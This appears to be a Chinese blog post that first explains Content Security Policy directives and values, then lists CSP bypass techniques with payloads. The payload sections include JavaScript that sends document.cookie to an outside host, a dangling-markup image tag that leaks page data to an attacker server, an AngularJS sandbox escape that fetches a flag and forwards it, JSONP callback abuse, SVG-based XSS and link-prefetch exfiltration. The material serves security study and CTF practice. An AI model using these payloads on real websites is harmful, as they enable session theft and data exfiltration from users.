CSP 绕过总结

有关CSP的指令意思以及其值的含义,在这里已经写得很清楚了,下面我罗列并翻译一下关键的信息。

CSP 概念

指令参考

一个CSP 值可以包含一个至多个指令,通过;间隔。下面简单介绍一下各个指令含义:

Directive Example Value Description
default-src 'self' cdn.example.com 定义资源默认加载策略
script-src 'self' js.example.com 定义 JS 加载策略
style-src 'self' css.example.com 定义 CSS 加载策略
img-src 'self' img.example.com 定义图片加载策略
connect-src 'self' 定义 Ajax、WebSocket 等加载策略
font-src font.example.com 定义 Font 加载策略
object-src 'self' 定义 <applet><embed><object> 等引用资源加载策略
media-src media.example.com 定义 <audio><video>等引用资源加载策略
frame-src 'self' 定义 Frame 加载策略
sandbox allow-forms allow-scripts 对页面的操作应用限制,包括阻止弹出窗口,阻止插件和脚本的执行以及强制执行同源策略。可以不设置sanbox的值使得所有限制启用,或者手动启用以下属性 : allow-forms allow-same-origin allow-scripts allow-popups, allow-modals, allow-orientation-lock, allow-pointer-lock, allow-presentation, allow-popups-to-escape-sandbox, and allow-top-navigation
report-uri /some-report-uri 指定浏览器报告策略错误的URL,可以在HTTP头中添加-Report-Only 来指示浏览器只报告不阻断
child-src 'self' child-src指令管理了套嵌浏览的部分(类似于iframe、frame标签)
form-action 'self' 定义了form表单中action的范围
frame-ancestors 'none' 定义<frame> <iframe> <object> <embed> <applet>加载策略. 直接设置‘none’ 几乎等于设置了X-Frame-Options: DENY
plugin-types application/pdf 设置有效的MIME类型
base-uri http://*.example.com 指令限制可以在文档<base>元素中使用的URL 。如果此值不存在,则允许使用任何URI。如果此指令不存在,则用户代理将使用该<base>元素中的值。

指令取值

以下为上面指令可以取的值,多个值可以用空格间隔,若为'none'则只能有一个值。

Source Value Example Description
* img-src * 通配符,允许所有的URL
'none' object-src 'none' 拒绝从任何地址加载资源
'self' script-src 'self' 允许同源加载
data: img-src 'self' data: 允许使用data协议加载资源,如加载base64格式图片
domain.example.com img-src domain.example.com 允许从特定域名加载资源
*.example.com img-src *.example.com 仅允许该域名的子域名加载资源
https://cdn.com img-src https://cdn.com 仅允许HTTPS且域名相配的地址加载资源
https: img-src https: 仅允许从HTTPS加载资源
'unsafe-inline' script-src 'unsafe-inline' 允许使用内联资源,比如内敛CSS、JS等(Allows use of inline source elements such as style attribute, onclick, or script tag bodies (depends on the context of the source it is applied to) and javascript: URIs)
'unsafe-eval' script-src 'unsafe-eval' 允许JS的动态执行命令eval()
'nonce-' script-src 'nonce-2726c7f26c' 如果nonce值设置正确,允许scriptstyle 标签执行代码,如: <script nonce="2726c7f26c">alert("hello");</script>
'sha256-' script-src 'sha256-qzn*...*ng=' r如果hash匹配,允许执行指定script和style代码。如: sha256-qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng= will allow alert('Hello, world.');

小例子

Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';

这个例子意味着允许加载同源的JS脚本、CSS、AJAX(or WebSocket)、拒绝加载其他任何的资源。

Bypass CSP

允许unsafe-inline

在真实的开发环境中,由于网站开发维护周期长,开发人员多,常常不得已需要执行内联script,这样就给我们留下了漏洞,只要存在XSS漏洞,我们就可以借此执行内联Js。

如果connect-src: self 设定了话,就无法向其他域名发送数据,但我们可以通过寻找站内可以api,如上传文件、发布文章等处导出数据。

能执行内联js,当然也可以利用location跳转带外数据。

location.href="https://blog.szfszf.top/" + escape(document.cookie);

google-analytics

当网站允许 unsafe-eval 且允许google-analytics谷歌分析站点的js加载时,我们可以利用Google Tag Manager 自定义js,生成一个自定义javascript内容的google-analytics的链接。

大致方法https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md 这个链接有写。

Base-uri 绕过

当网站设置了script nonce, 在无法猜测nonce值的情况下,且base-uri没有被设置。

那么可以使用<base>标签将文档的基础URI修改为自己的服务器地址。

如下,需要本来文档就存在相对地址加载js的情况。最后 只要在自己服务器放上一个123.js就行了。

<?php
    header("default-src 'self'; script-src 'nonce-test'");

?>

<base href="//blog.szfszf.top:8888">
<script nonce='test' src="/123.js"></script>

利用浏览器自动补全

情况一

<?php 
    header("X-XSS-Protection:0");
    header("Content-Security-Policy: default-src 'self'; script-src 'nonce-xxxxx'");

    echo $_GET['xss']
?>
<script nonce='xxxxx'>
</script>

如上这种情况, 注入点在<script> 标签的正上方,可以输入<script src=data:text/plain,alert(1)利用浏览器的自动补全,<script 会变成一个属性,后面的nonce属性也被保留下来,所以绕过了nonce。

亲测仅火狐可以通过测试,这里的chrome方法也已经失效。

情况二

<?php 
    header("X-XSS-Protection:0");
    header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;");

    echo $_GET['xss'];
?>
<h1>flag{0xffff}</h1>
<h2 id="id">3</h2>

如下这种情况,注入点在需要带出的数据上方。我们的目标是拿到注入点下方一个标签的数据。可以看到,前提img是允许加载跨域的。

现在输入<img src="//VPS_IP?a=就能带出数据。

依旧是火狐有效。

利用可控jsonp

jsonp是为了跨域获得数据而设计的, 通常情况下都是完全可控的。

很多站点会允许一些cdn或者analytic的域名加载js,那我们只要找到这些站点的可控jsonp就可以了。

这里有一个收集https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt

<?php 
    header("Content-Security-Policy: default-src 'self';script-src 'self' https://accounts.google.com;");

?>
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>

利用CDN

一般站点都会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险。

案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js

payload:

<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js></script>
<div ng-app ng-csp>
{{constructor.constructor('eval(atob("ZmV0Y2goIi9jc3AtdHdvLWZsYWciKS50aGVuKHg9PngudGV4dCgpKS50aGVuKHg9PmxvY2F0aW9uPSIvL3J3eC5rci8/Iitlc2NhcGUoeCkp"))')()}}
</div>
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"></script> 
<div class="ng-app"> {{ constructor.constructor('fetch("https://csp-2-2446d5a3.challenges.bsidessf.net/csp-two-flag").then(r=>r.text()).then(t=>fetch("YOUR_SERVER"+t))')() }} </div>

CRLF绕过

如果存在CRLF注入,且注入点在CSP上方我们可以通过注入回车换行将header中的CSP挤到HTTP body中,这样就绕过了csp的限制。

利用svg图片

svg图片是xml格式的矢量图, 能够执行js脚本。可以通过上传svg图片XSS

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

预加载

一般来说,self代表只接受符合同源策略的url,这样一来,大部分的xss和crsf都会失效。但link标签除外。我们可以通过link标签绕过CSP

<link rel="prefetch" herf="xxxxxxx"> (经测试,火狐、chrome均失效)

DNS预解析:

<link rel="dns-prefetch" href="xxxxxxxx"> (经测试,仍然可以绕过Chrome,火狐最新版无效)

这样,我们可以通过预加载,将数据添加到link请求的链接中,或者dns预解析的子域名中,从DNS记录中拿到数据。

通过iframe标签绕过script-src

sandbox 中的allow-popups开启时,window.open就可以打开新的窗口。

frame-src如果为self,iframe的src必须为为同源,如果我们指向任意一个没有csp的同源文件,此时我们可以在iframe中引入js,此时因为iframe打开的这个页面没有csp限制,其中的js就可以任意执行了。

<?php 
    header("Content-Security-Policy: default-src 'self';script-src 'self' 'unsafe-inline';");

?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
<script type="text/javascript">
document.write('');
// window.open('https://blog.szfszf.top');
f=document.createElement("iframe");
f.id="pwn";
f.src="./example2.php";
f.onload=()=>{
    x=document.createElement('script');
    x.src='https://blog.szfszf.top/?a='+escape(document.cookie);                  
    pwn.contentWindow.document.body.appendChild(x)
};

document.body.appendChild(f);
</script>
</body>
</html>

假如对应站点,任何预期站点响应都包含X-Frame-Options: Deny ,我们可以通过以下方法绕过:

  1. 使用不存在的网页,大部分网页404报错不会包含X-Frame-Options: Deny

  2. frame.src=”/”+”A”.repeat(20000); 通过url过长触发错误(测试未成功)

f=document.createElement("iframe");
f.id="pwn";
f.src="/"+"A".repeat(200000);
f.onload=()=>{
    x=document.createElement('script');
    x.src='https://blog.szfszf.top/xss.js';                  
    pwn.contentWindow.document.body.appendChild(x);
};
document.body.appendChild(f);
  1. cookie过长触发报错
for(var i=0;i<5;i++){
    document.cookie=i+"="+"a".repeat(4000)};
    f=document.createElement("iframe");
    f.id="pwn";
    f.src="./csp2.php";
    f.onload=()=>{
        for(var i=0;i<5;i++){document.cookie=i+"="};
        x=document.createElement('script');
        x.src='data:,alert(document.cookie)';
        pwn.contentWindow.document.body.appendChild(x)
    };
    document.body.appendChild(f);

WebRTC 绕过 connect-src

我们知道,如果设置了connect-src这意味着即使可以执行内联js,我们仍然无法向外界通过AJAX或者WebSocket带出数据。但是此时,我们可以使用WebRTC绕过。

这个姿势是在今年的RCTF学到的,我也写了这道题的WP,有兴趣可以看看。

参考链接

https://xz.aliyun.com/t/5084

http://prontosil.club/posts/1e1d8fb4/

https://www.anquanke.com/post/id/84853

https://content-security-policy.com/

https://lorexxar.cn/2016/08/08/ccsp/

https://www.cnblogs.com/afanti/p/9298415.html

https://news.ycombinator.com/item?id=17512005

https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa

https://twitter.com/i_bo0om/status/1016422138285355014